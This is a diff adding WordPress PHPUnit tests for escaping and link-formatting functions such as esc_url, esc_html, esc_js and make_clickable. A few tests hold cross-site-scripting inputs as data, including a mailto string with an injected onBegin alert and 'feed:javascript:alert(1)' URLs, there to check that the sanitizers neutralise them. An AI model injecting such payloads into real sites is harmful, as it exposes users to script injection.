+	}
+
+	function test_escapes_lone_ampersands() {
+		$this->assertEquals("at&#038;t", convert_chars("at&t"));
+	}
+
+	function test_removes_category_and_title_metadata_tags() {
+		$this->assertEquals("", convert_chars("<title><div class='lol'>abc</div></title><category>a</category>"));
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/EscAttr.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/EscAttr.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/EscAttr.php	(revision 33402)
@@ -0,0 +1,32 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_EscAttr extends WP_UnitTestCase {
+	function test_esc_attr_quotes() {
+		$attr = '"double quotes"';
+		$this->assertEquals( '&quot;double quotes&quot;', esc_attr( $attr ) );
+
+		$attr = "'single quotes'";
+		$this->assertEquals( '&#039;single quotes&#039;', esc_attr( $attr ) );
+
+		$attr = "'mixed' " . '"quotes"';
+		$this->assertEquals( '&#039;mixed&#039; &quot;quotes&quot;', esc_attr( $attr ) );
+
+		// Handles double encoding?
+		$attr = '"double quotes"';
+		$this->assertEquals( '&quot;double quotes&quot;', esc_attr( esc_attr( $attr ) ) );
+
+		$attr = "'single quotes'";
+		$this->assertEquals( '&#039;single quotes&#039;', esc_attr( esc_attr( $attr ) ) );
+
+		$attr = "'mixed' " . '"quotes"';
+		$this->assertEquals( '&#039;mixed&#039; &quot;quotes&quot;', esc_attr( esc_attr( $attr ) ) );
+	}
+
+	function test_esc_attr_amp() {
+		$out = esc_attr( 'foo & bar &baz; &apos;' );
+		$this->assertEquals( "foo &amp; bar &amp;baz; &apos;", $out );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/EscHtml.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/EscHtml.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/EscHtml.php	(revision 33402)
@@ -0,0 +1,40 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_EscHtml extends WP_UnitTestCase {
+	function test_esc_html_basics() {
+		// Simple string
+		$html = "The quick brown fox.";
+		$this->assertEquals( $html, esc_html( $html ) );
+
+		// URL with &
+		$html = "http://localhost/trunk/wp-login.php?action=logout&_wpnonce=cd57d75985";
+		$escaped = "http://localhost/trunk/wp-login.php?action=logout&amp;_wpnonce=cd57d75985";
+		$this->assertEquals( $escaped, esc_html( $html ) );
+
+		// SQL query
+		$html = "SELECT meta_key, meta_value FROM wp_trunk_sitemeta WHERE meta_key IN ('site_name', 'siteurl', 'active_sitewide_plugins', '_site_transient_timeout_theme_roots', '_site_transient_theme_roots', 'site_admins', 'can_compress_scripts', 'global_terms_enabled') AND site_id = 1";
+		$escaped = "SELECT meta_key, meta_value FROM wp_trunk_sitemeta WHERE meta_key IN (&#039;site_name&#039;, &#039;siteurl&#039;, &#039;active_sitewide_plugins&#039;, &#039;_site_transient_timeout_theme_roots&#039;, &#039;_site_transient_theme_roots&#039;, &#039;site_admins&#039;, &#039;can_compress_scripts&#039;, &#039;global_terms_enabled&#039;) AND site_id = 1";
+		$this->assertEquals( $escaped, esc_html( $html ) );
+	}
+
+	function test_escapes_ampersands() {
+		$source = "penn & teller & at&t";
+		$res = "penn &amp; teller &amp; at&amp;t";
+		$this->assertEquals( $res, esc_html($source) );
+	}
+
+	function test_escapes_greater_and_less_than() {
+		$source = "this > that < that <randomhtml />";
+		$res = "this &gt; that &lt; that &lt;randomhtml /&gt;";
+		$this->assertEquals( $res, esc_html($source) );
+	}
+
+	function test_ignores_existing_entities() {
+		$source = '&#038; &#x00A3; &#x22; &amp;';
+		$res = '&amp; &#xA3; &quot; &amp;';
+		$this->assertEquals( $res, esc_html($source) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/EscTextarea.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/EscTextarea.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/EscTextarea.php	(revision 33402)
@@ -0,0 +1,36 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_EscTextarea extends WP_UnitTestCase {
+
+	function _charset_iso_8859_1() {
+		return 'iso-8859-1';
+	}
+
+	/*
+	 * Only fails in PHP 5.4 onwards
+	 * @ticket 23688
+	 */
+	function test_esc_textarea_charset_iso_8859_1() {
+		add_filter( 'pre_option_blog_charset', array( $this, '_charset_iso_8859_1' ) );
+		$iso8859_1 = 'Fran' .chr(135) .'ais';
+		$this->assertEquals( $iso8859_1, esc_textarea( $iso8859_1 ) );
+		remove_filter( 'pre_option_blog_charset', array( $this, '_charset_iso_8859_1' ) );
+	}
+
+	function _charset_utf_8() {
+		return 'UTF-8';
+	}
+
+	/*
+	 * @ticket 23688
+	 */
+	function test_esc_textarea_charset_utf_8() {
+		add_filter( 'pre_option_blog_charset', array( $this, '_charset_utf_8' ) );
+		$utf8 = 'Fran' .chr(195) . chr(167) .'ais';
+		$this->assertEquals( $utf8, esc_textarea( $utf8 ) );
+		remove_filter( 'pre_option_blog_charset', array( $this, '_charset_utf_8' ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/EscUrl.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/EscUrl.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/EscUrl.php	(revision 33402)
@@ -0,0 +1,71 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_EscUrl extends WP_UnitTestCase {
+	function test_spaces() {
+		$this->assertEquals('http://example.com/MrWordPress', esc_url('http://example.com/Mr WordPress'));
+		$this->assertEquals('http://example.com/Mr%20WordPress', esc_url('http://example.com/Mr%20WordPress'));
+	}
+
+	function test_bad_characters() {
+		$this->assertEquals('http://example.com/watchthelinefeedgo', esc_url('http://example.com/watchthelinefeed%0Ago'));
+		$this->assertEquals('http://example.com/watchthelinefeedgo', esc_url('http://example.com/watchthelinefeed%0ago'));
+		$this->assertEquals('http://example.com/watchthecarriagereturngo', esc_url('http://example.com/watchthecarriagereturn%0Dgo'));
+		$this->assertEquals('http://example.com/watchthecarriagereturngo', esc_url('http://example.com/watchthecarriagereturn%0dgo'));
+		//Nesting Checks
+		$this->assertEquals('http://example.com/watchthecarriagereturngo', esc_url('http://example.com/watchthecarriagereturn%0%0ddgo'));
+		$this->assertEquals('http://example.com/watchthecarriagereturngo', esc_url('http://example.com/watchthecarriagereturn%0%0DDgo'));
+		$this->assertEquals('http://example.com/', esc_url('http://example.com/%0%0%0DAD'));
+		$this->assertEquals('http://example.com/', esc_url('http://example.com/%0%0%0ADA'));
+		$this->assertEquals('http://example.com/', esc_url('http://example.com/%0%0%0DAd'));
+		$this->assertEquals('http://example.com/', esc_url('http://example.com/%0%0%0ADa'));
+	}
+
+	function test_relative() {
+		$this->assertEquals('/example.php', esc_url('/example.php'));
+		$this->assertEquals('example.php', esc_url('example.php'));
+		$this->assertEquals('#fragment', esc_url('#fragment'));
+		$this->assertEquals('?foo=bar', esc_url('?foo=bar'));
+	}
+
+	function test_protocol() {
+		$this->assertEquals('http://example.com', esc_url('http://example.com'));
+		$this->assertEquals('', esc_url('nasty://example.com/'));
+	}
+
+	/**
+	 * @ticket 23187
+	 */
+	function test_protocol_case() {
+		$this->assertEquals('http://example.com', esc_url('HTTP://example.com'));
+		$this->assertEquals('http://example.com', esc_url('Http://example.com'));
+	}
+
+	function test_display_extras() {
+		$this->assertEquals('http://example.com/&#039;quoted&#039;', esc_url('http://example.com/\'quoted\''));
+		$this->assertEquals('http://example.com/\'quoted\'', esc_url('http://example.com/\'quoted\'',null,'notdisplay'));
+	}
+
+	function test_non_ascii() {
+		$this->assertEquals( 'http://example.org/баба', esc_url( 'http://example.org/баба' ) );
+		$this->assertEquals( 'http://баба.org/баба', esc_url( 'http://баба.org/баба' ) );
+		$this->assertEquals( 'http://müller.com/', esc_url( 'http://müller.com/' ) );
+	}
+
+	function test_feed() {
+		$this->assertEquals( '', esc_url( 'feed:javascript:alert(1)' ) );
+		$this->assertEquals( '', esc_url( 'feed:javascript:feed:alert(1)' ) );
+		$this->assertEquals( '', esc_url( 'feed:feed:javascript:alert(1)' ) );
+		$this->assertEquals( 'feed:feed:alert(1)', esc_url( 'feed:feed:alert(1)' ) );
+		$this->assertEquals( 'feed:http://wordpress.org/feed/', esc_url( 'feed:http://wordpress.org/feed/' ) );
+	}
+
+	/**
+	 * @ticket 21974
+	 */
+	function test_protocol_relative_with_colon() {
+		$this->assertEquals( '//example.com/foo?foo=abc:def', esc_url( '//example.com/foo?foo=abc:def' ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/GetUrlInContent.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/GetUrlInContent.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/GetUrlInContent.php	(revision 33402)
@@ -0,0 +1,49 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_GetUrlInContent extends WP_UnitTestCase {
+	
+	/**
+	 * URL Content Data Provider
+	 *
+	 * array ( input_txt, converted_output_txt )
+	 */
+	public function get_input_output() {
+		return array (
+			array (
+				"",
+				false
+			), //empty content
+			array (
+				"<div>NO URL CONTENT</div>",
+				false
+			), //no URLs
+			array (
+				'<div href="/relative.php">NO URL CONTENT</div>',
+				false
+			), // ignore none link elements
+			array (
+				'ABC<div><a href="/relative.php">LINK</a> CONTENT</div>',
+				"/relative.php"
+			), // single link
+			array (
+				'ABC<div><a href="/relative.php">LINK</a> CONTENT <a href="/suppress.php">LINK</a></div>',
+				"/relative.php"
+			), // multiple links
+			array (
+				'ABC<div><a href="http://example.com/Mr%20WordPress 2">LINK</a> CONTENT </div>',
+				"http://example.com/Mr%20WordPress2"
+			), // escape link
+		);
+	}
+
+	/**
+	 * Validate the get_url_in_content function
+	 * @dataProvider get_input_output
+	 */
+	function test_get_url_in_content( $in_str, $exp_str ) {
+		$this->assertEquals($exp_str, get_url_in_content( $in_str ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/HtmlExcerpt.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/HtmlExcerpt.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/HtmlExcerpt.php	(revision 33402)
@@ -0,0 +1,19 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_HtmlExcerpt extends WP_UnitTestCase {
+	function test_simple() {
+		$this->assertEquals("Baba", wp_html_excerpt("Baba told me not to come", 4));
+	}
+	function test_html() {
+		$this->assertEquals("Baba", wp_html_excerpt("<a href='http://baba.net/'>Baba</a> told me not to come", 4));
+	}
+	function test_entities() {
+		$this->assertEquals("Baba", wp_html_excerpt("Baba &amp; Dyado", 8));
+		$this->assertEquals("Baba", wp_html_excerpt("Baba &#038; Dyado", 8));
+		$this->assertEquals("Baba &amp; D", wp_html_excerpt("Baba &amp; Dyado", 12));
+		$this->assertEquals("Baba &amp; Dyado", wp_html_excerpt("Baba &amp; Dyado", 100));
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/IsEmail.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/IsEmail.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/IsEmail.php	(revision 33402)
@@ -0,0 +1,31 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_IsEmail extends WP_UnitTestCase {
+	function test_returns_the_email_address_if_it_is_valid() {
+		$data = array(
+			"bob@example.com",
+			"phil@example.info",
+			"ace@204.32.222.14",
+			"kevin@many.subdomains.make.a.happy.man.edu"
+			);
+		foreach ( $data as $datum ) {
+			$this->assertEquals( $datum, is_email( $datum ), $datum );
+		}
+	}
+
+	function test_returns_false_if_given_an_invalid_email_address() {
+		$data = array(
+			"khaaaaaaaaaaaaaaan!",
+			'http://bob.example.com/',
+			"sif i'd give u it, spamer!1",
+			"com.exampleNOSPAMbob",
+			"bob@your mom"
+			);
+		foreach ($data as $datum) {
+			$this->assertFalse(is_email($datum), $datum);
+		}
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/JSEscape.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/JSEscape.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/JSEscape.php	(revision 33402)
@@ -0,0 +1,46 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_JSEscape extends WP_UnitTestCase {
+	function test_js_escape_simple() {
+		$out = esc_js('foo bar baz();');
+		$this->assertEquals('foo bar baz();', $out);
+	}
+
+	function test_js_escape_quotes() {
+		$out = esc_js('foo "bar" \'baz\'');
+		// does it make any sense to change " into &quot;?  Why not \"?
+		$this->assertEquals("foo &quot;bar&quot; \'baz\'", $out);
+	}
+
+	function test_js_escape_backslash() {
+		$bs = '\\';
+		$out = esc_js('foo '.$bs.'t bar '.$bs.$bs.' baz');
+		// \t becomes t - bug?
+		$this->assertEquals('foo t bar '.$bs.$bs.' baz', $out);
+	}
+
+	function test_js_escape_amp() {
+		$out = esc_js('foo & bar &baz; &apos;');
+		$this->assertEquals("foo &amp; bar &amp;baz; &apos;", $out);
+	}
+
+	function test_js_escape_quote_entity() {
+		$out = esc_js('foo &#x27; bar &#39; baz &#x26;');
+		$this->assertEquals("foo \\' bar \\' baz &amp;", $out);
+	}
+
+	function test_js_no_carriage_return() {
+		$out = esc_js("foo\rbar\nbaz\r");
+		// \r is stripped
+		$this->assertequals("foobar\\nbaz", $out);
+	}
+
+	function test_js_escape_rn() {
+		$out = esc_js("foo\r\nbar\nbaz\r\n");
+		// \r is stripped
+		$this->assertequals("foo\\nbar\\nbaz\\n", $out);
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/LikeEscape.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/LikeEscape.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/LikeEscape.php	(revision 33402)
@@ -0,0 +1,30 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_LikeEscape extends WP_UnitTestCase {
+	/**
+	 * @ticket 10041
+	 * @expectedDeprecated like_escape
+	 */
+	function test_like_escape() {
+
+		$inputs = array(
+			'howdy%', //Single Percent
+			'howdy_', //Single Underscore
+			'howdy\\', //Single slash
+			'howdy\\howdy%howdy_', //The works
+		);
+		$expected = array(
+			"howdy\\%",
+			'howdy\\_',
+			'howdy\\',
+			'howdy\\howdy\\%howdy\\_'
+		);
+
+		foreach ($inputs as $key => $input) {
+			$this->assertEquals($expected[$key], like_escape($input));
+		}
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/LinksAddTarget.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/LinksAddTarget.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/LinksAddTarget.php	(revision 33402)
@@ -0,0 +1,84 @@
+<?php
+/**
+ * @group formatting
+ */
+class Tests_Formatting_LinksAddTarget extends WP_UnitTestCase {
+	/**
+	 * Test Content DataProvider
+	 *
+	 * array ( input_txt, converted_output_txt)
+	 */
+	public function get_input_output() {
+		return array (
+			array (
+				'MY CONTENT <div> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC">LINK</a> HERE </div> END TEXT',
+				null,
+				null,
+				'MY CONTENT <div> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC" target="_blank">LINK</a> HERE </div> END TEXT'
+			),
+			array (
+				'MY CONTENT <div> SOME ADDITIONAL TEXT <A href="XYZ" src="ABC">LINK</A> HERE </div> END TEXT',
+				null,
+				null,
+				'MY CONTENT <div> SOME ADDITIONAL TEXT <A href="XYZ" src="ABC" target="_blank">LINK</A> HERE </div> END TEXT'
+			),
+			array (
+				'MY CONTENT <div> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC">LINK</a> HERE </div> <a href="XYZ"  >LINK</a>END TEXT',
+				null,
+				null,
+				'MY CONTENT <div> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC" target="_blank">LINK</a> HERE </div> <a href="XYZ"   target="_blank">LINK</a>END TEXT'
+			),
+			array (
+				'MY CONTENT <div> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC">LINK</a> HERE </div> <span>END TEXT</span>',
+				"_top",
+				null,
+				'MY CONTENT <div> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC" target="_top">LINK</a> HERE </div> <span>END TEXT</span>'
+			),
+			array (
+				'MY CONTENT <div> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC">LINK</a> HERE </div> <span>END TEXT</span>',
+				"_top",
+				array( 'span'),
+				'MY CONTENT <div> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC">LINK</a> HERE </div> <span target="_top">END TEXT</span>'
+			),
+			array (
+				'MY CONTENT <div> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC">LINK</a> HERE </div> <span>END TEXT</span>',
+				"_top",
+				array( 'SPAN'),
+				'MY CONTENT <div> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC">LINK</a> HERE </div> <span target="_top">END TEXT</span>'
+			),
+			array (
+				'MY CONTENT <div> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC">LINK</a> HERE </div> <span target="_top">END TEXT</span>',
+				"_top",
+				array( 'span', 'div'),
+				'MY CONTENT <div target="_top"> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC">LINK</a> HERE </div> <span target="_top">END TEXT</span>'
+			),
+			array (
+				'MY CONTENT <div target=\'ABC\'> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC">LINK</a> HERE </div> <span target="xyz">END TEXT</span>',
+				"_top",
+				array( 'span', 'div'),
+				'MY CONTENT <div target="_top"> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC">LINK</a> HERE </div> <span target="_top">END TEXT</span>'
+			),
+			array (
+				'MY CONTENT <div> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC">LINK</a> HERE </div> <span target="xyz" src="ABC">END TEXT</span>',
+				"_top",
+				array( 'span'),
+				'MY CONTENT <div> SOME ADDITIONAL TEXT <a href="XYZ" src="ABC">LINK</a> HERE </div> <span src="ABC" target="_top">END TEXT</span>'
+			),
+		);
+	}
+
+	/**
+	 * Validate the normalize_whitespace function
+	 *
+	 * @dataProvider get_input_output
+	 */
+	function test_normalize_whitespace( $content, $target, $tags, $exp_str ) {
+		if ( true === is_null( $target ) ) {
+			$this->assertEquals( $exp_str, links_add_target( $content ) );
+		} elseif ( true === is_null( $tags ) ) {
+			$this->assertEquals( $exp_str, links_add_target( $content, $target ) );
+		} else {
+			$this->assertEquals( $exp_str, links_add_target( $content, $target, $tags ) );
+		}
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/MakeClickable.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/MakeClickable.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/MakeClickable.php	(revision 33402)
@@ -0,0 +1,375 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_MakeClickable extends WP_UnitTestCase {
+	function test_mailto_xss() {
+		$in = 'testzzz@"STYLE="behavior:url(\'#default#time2\')"onBegin="alert(\'refresh-XSS\')"';
+		$this->assertEquals($in, make_clickable($in));
+	}
+
+	function test_valid_mailto() {
+		$valid_emails = array(
+			'foo@example.com',
+			'foo.bar@example.com',
+			'Foo.Bar@a.b.c.d.example.com',
+			'0@example.com',
+			'foo@example-example.com',
+			);
+		foreach ($valid_emails as $email) {
+			$this->assertEquals('<a href="mailto:'.$email.'">'.$email.'</a>', make_clickable($email));
+		}
+	}
+
+	function test_invalid_mailto() {
+		$invalid_emails = array(
+			'foo',
+			'foo@',
+			'foo@@example.com',
+			'@example.com',
+			'foo @example.com',
+			'foo@example',
+			);
+		foreach ($invalid_emails as $email) {
+			$this->assertEquals($email, make_clickable($email));
+		}
+	}
+
+	// tests that make_clickable will not link trailing periods, commas and
+	// (semi-)colons in URLs with protocol (i.e. http://wordpress.org)
+	function test_strip_trailing_with_protocol() {
+		$urls_before = array(
+			'http://wordpress.org/hello.html',
+			'There was a spoon named http://wordpress.org. Alice!',
+			'There was a spoon named http://wordpress.org, said Alice.',
+			'There was a spoon named http://wordpress.org; said Alice.',
+			'There was a spoon named http://wordpress.org: said Alice.',
+			'There was a spoon named (http://wordpress.org) said Alice.'
+			);
+		$urls_expected = array(
+			'<a href="http://wordpress.org/hello.html" rel="nofollow">http://wordpress.org/hello.html</a>',
+			'There was a spoon named <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>. Alice!',
+			'There was a spoon named <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>, said Alice.',
+			'There was a spoon named <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>; said Alice.',
+			'There was a spoon named <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>: said Alice.',
+			'There was a spoon named (<a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>) said Alice.'
+			);
+
+		foreach ($urls_before as $key => $url) {
+			$this->assertEquals($urls_expected[$key], make_clickable($url));
+		}
+	}
+
+	// tests that make_clickable will not link trailing periods, commas and
+	// (semi-)colons in URLs with protocol (i.e. http://wordpress.org)
+	function test_strip_trailing_with_protocol_nothing_afterwards() {
+		$urls_before = array(
+			'http://wordpress.org/hello.html',
+			'There was a spoon named http://wordpress.org.',
+			'There was a spoon named http://wordpress.org,',
+			'There was a spoon named http://wordpress.org;',
+			'There was a spoon named http://wordpress.org:',
+			'There was a spoon named (http://wordpress.org)',
+			'There was a spoon named (http://wordpress.org)x',
+			);
+		$urls_expected = array(
+			'<a href="http://wordpress.org/hello.html" rel="nofollow">http://wordpress.org/hello.html</a>',
+			'There was a spoon named <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>.',
+			'There was a spoon named <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>,',
+			'There was a spoon named <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>;',
+			'There was a spoon named <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>:',
+			'There was a spoon named (<a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>)',
+			'There was a spoon named (<a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>)x',
+			);
+
+		foreach ($urls_before as $key => $url) {
+			$this->assertEquals($urls_expected[$key], make_clickable($url));
+		}
+	}
+
+	// tests that make_clickable will not link trailing periods, commas and
+	// (semi-)colons in URLs without protocol (i.e. www.wordpress.org)
+	function test_strip_trailing_without_protocol() {
+		$urls_before = array(
+			'www.wordpress.org',
+			'There was a spoon named www.wordpress.org. Alice!',
+			'There was a spoon named www.wordpress.org, said Alice.',
+			'There was a spoon named www.wordpress.org; said Alice.',
+			'There was a spoon named www.wordpress.org: said Alice.',
+			'There was a spoon named www.wordpress.org) said Alice.'
+			);
+		$urls_expected = array(
+			'<a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>',
+			'There was a spoon named <a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>. Alice!',
+			'There was a spoon named <a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>, said Alice.',
+			'There was a spoon named <a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>; said Alice.',
+			'There was a spoon named <a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>: said Alice.',
+			'There was a spoon named <a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>) said Alice.'
+			);
+
+		foreach ($urls_before as $key => $url) {
+			$this->assertEquals($urls_expected[$key], make_clickable($url));
+		}
+	}
+
+	// tests that make_clickable will not link trailing periods, commas and
+	// (semi-)colons in URLs without protocol (i.e. www.wordpress.org)
+	function test_strip_trailing_without_protocol_nothing_afterwards() {
+		$urls_before = array(
+			'www.wordpress.org',
+			'There was a spoon named www.wordpress.org.',
+			'There was a spoon named www.wordpress.org,',
+			'There was a spoon named www.wordpress.org;',
+			'There was a spoon named www.wordpress.org:',
+			'There was a spoon named www.wordpress.org)'
+			);
+		$urls_expected = array(
+			'<a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>',
+			'There was a spoon named <a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>.',
+			'There was a spoon named <a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>,',
+			'There was a spoon named <a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>;',
+			'There was a spoon named <a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>:',
+			'There was a spoon named <a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>)'
+			);
+
+		foreach ($urls_before as $key => $url) {
+			$this->assertEquals($urls_expected[$key], make_clickable($url));
+		}
+	}
+
+	// #4570
+	function test_iri() {
+		$urls_before = array(
+			'http://www.詹姆斯.com/',
+			'http://bg.wikipedia.org/Баба',
+			'http://example.com/?a=баба&b=дядо',
+		);
+		$urls_expected = array(
+			'<a href="http://www.詹姆斯.com/" rel="nofollow">http://www.詹姆斯.com/</a>',
+			'<a href="http://bg.wikipedia.org/Баба" rel="nofollow">http://bg.wikipedia.org/Баба</a>',
+			'<a href="http://example.com/?a=баба&#038;b=дядо" rel="nofollow">http://example.com/?a=баба&#038;b=дядо</a>',
+		);
+		foreach ($urls_before as $key => $url) {
+			$this->assertEquals($urls_expected[$key], make_clickable($url));
+		}
+	}
+
+	// #10990
+	function test_brackets_in_urls() {
+		$urls_before = array(
+			'http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)',
+			'(http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software))',
+			'blah http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software) blah',
+			'blah (http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)) blah',
+			'blah blah blah http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software) blah blah',
+			'blah blah blah http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)) blah blah',
+			'blah blah (http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)) blah blah',
+			'blah blah http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software).) blah blah',
+			'blah blah http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software).)moreurl blah blah',
+			'In his famous speech “You and Your research” (here:
+			http://www.cs.virginia.edu/~robins/YouAndYourResearch.html)
+			Richard Hamming wrote about people getting more done with their doors closed, but',
+		);
+		$urls_expected = array(
+			'<a href="http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)" rel="nofollow">http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)</a>',
+			'(<a href="http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)" rel="nofollow">http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)</a>)',
+			'blah <a href="http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)" rel="nofollow">http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)</a> blah',
+			'blah (<a href="http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)" rel="nofollow">http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)</a>) blah',
+			'blah blah blah <a href="http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)" rel="nofollow">http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)</a> blah blah',
+			'blah blah blah <a href="http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)" rel="nofollow">http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)</a>) blah blah',
+			'blah blah (<a href="http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)" rel="nofollow">http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)</a>) blah blah',
+			'blah blah <a href="http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)" rel="nofollow">http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)</a>.) blah blah',
+			'blah blah <a href="http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)" rel="nofollow">http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)</a>.)moreurl blah blah',
+			'In his famous speech “You and Your research” (here:
+			<a href="http://www.cs.virginia.edu/~robins/YouAndYourResearch.html" rel="nofollow">http://www.cs.virginia.edu/~robins/YouAndYourResearch.html</a>)
+			Richard Hamming wrote about people getting more done with their doors closed, but',
+		);
+		foreach ($urls_before as $key => $url) {
+			$this->assertEquals($urls_expected[$key], make_clickable($url));
+		}
+	}
+
+	// Based on a real comments which were incorrectly linked. #11211
+	function test_real_world_examples() {
+		$urls_before = array(
+			'Example: WordPress, test (some text), I love example.com (http://example.org), it is brilliant',
+			'Example: WordPress, test (some text), I love example.com (http://example.com), it is brilliant',
+			'Some text followed by a bracketed link with a trailing elipsis (http://example.com)...',
+			'In his famous speech “You and Your research” (here: http://www.cs.virginia.edu/~robins/YouAndYourResearch.html) Richard Hamming wrote about people getting more done with their doors closed...',
+		);
+		$urls_expected = array(
+			'Example: WordPress, test (some text), I love example.com (<a href="http://example.org" rel="nofollow">http://example.org</a>), it is brilliant',
+			'Example: WordPress, test (some text), I love example.com (<a href="http://example.com" rel="nofollow">http://example.com</a>), it is brilliant',
+			'Some text followed by a bracketed link with a trailing elipsis (<a href="http://example.com" rel="nofollow">http://example.com</a>)...',
